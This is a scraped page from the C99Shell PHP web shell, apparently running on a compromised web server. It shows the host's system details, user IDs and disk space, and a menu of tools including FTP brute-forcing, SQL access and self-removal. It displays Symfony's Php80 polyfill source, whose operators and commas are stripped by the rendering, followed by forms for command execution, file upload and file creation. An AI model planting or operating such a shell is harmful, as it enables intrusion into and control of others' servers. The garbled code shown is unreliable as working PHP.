!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/polyfill-php80/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Php80.php (3.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Polyfill\Php80;

/**
 * @author Ion Bazan <ion.bazan@gmail.com>
 * @author Nico Oelgart <nicoswd@gmail.com>
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @internal
 */
final class Php80
{
    public static function 
fdiv(float $dividendfloat $divisor): float
    
{
        return @(
$dividend $divisor);
    }

    public static function 
get_debug_type($value): string
    
{
        switch (
true) {
            case 
null === $value: return 'null';
            case 
\is_bool($value): return 'bool';
            case 
\is_string($value): return 'string';
            case 
\is_array($value): return 'array';
            case 
\is_int($value): return 'int';
            case 
\is_float($value): return 'float';
            case 
\is_object($value): break;
            case 
$value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class';
            default:
                if (
null === $type = @get_resource_type($value)) {
                    return 
'unknown';
                }

                if (
'Unknown' === $type) {
                    
$type 'closed';
                }

                return 
"resource ($type)";
        }

        
$class \get_class($value);

        if (
false === strpos($class'@')) {
            return 
$class;
        }

        return (
get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous';
    }

    public static function 
get_resource_id($res): int
    
{
        if (!
\is_resource($res) && null === @get_resource_type($res)) {
            throw new 
\TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given'get_debug_type($res)));
        }

        return (int) 
$res;
    }

    public static function 
preg_last_error_msg(): string
    
{
        switch (
preg_last_error()) {
            case 
\PREG_INTERNAL_ERROR:
                return 
'Internal error';
            case 
\PREG_BAD_UTF8_ERROR:
                return 
'Malformed UTF-8 characters, possibly incorrectly encoded';
            case 
\PREG_BAD_UTF8_OFFSET_ERROR:
                return 
'The offset did not correspond to the beginning of a valid UTF-8 code point';
            case 
\PREG_BACKTRACK_LIMIT_ERROR:
                return 
'Backtrack limit exhausted';
            case 
\PREG_RECURSION_LIMIT_ERROR:
                return 
'Recursion limit exhausted';
            case 
\PREG_JIT_STACKLIMIT_ERROR:
                return 
'JIT stack limit exhausted';
            case 
\PREG_NO_ERROR:
                return 
'No error';
            default:
                return 
'Unknown error';
        }
    }

    public static function 
str_contains(string $haystackstring $needle): bool
    
{
        return 
'' === $needle || false !== strpos($haystack$needle);
    }

    public static function 
str_starts_with(string $haystackstring $needle): bool
    
{
        return 
=== strncmp($haystack$needle\strlen($needle));
    }

    public static function 
str_ends_with(string $haystackstring $needle): bool
    
{
        if (
'' === $needle || $needle === $haystack) {
            return 
true;
        }

        if (
'' === $haystack) {
            return 
false;
        }

        
$needleLength \strlen($needle);

        return 
$needleLength <= \strlen($haystack) && === substr_compare($haystack$needle, -$needleLength);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--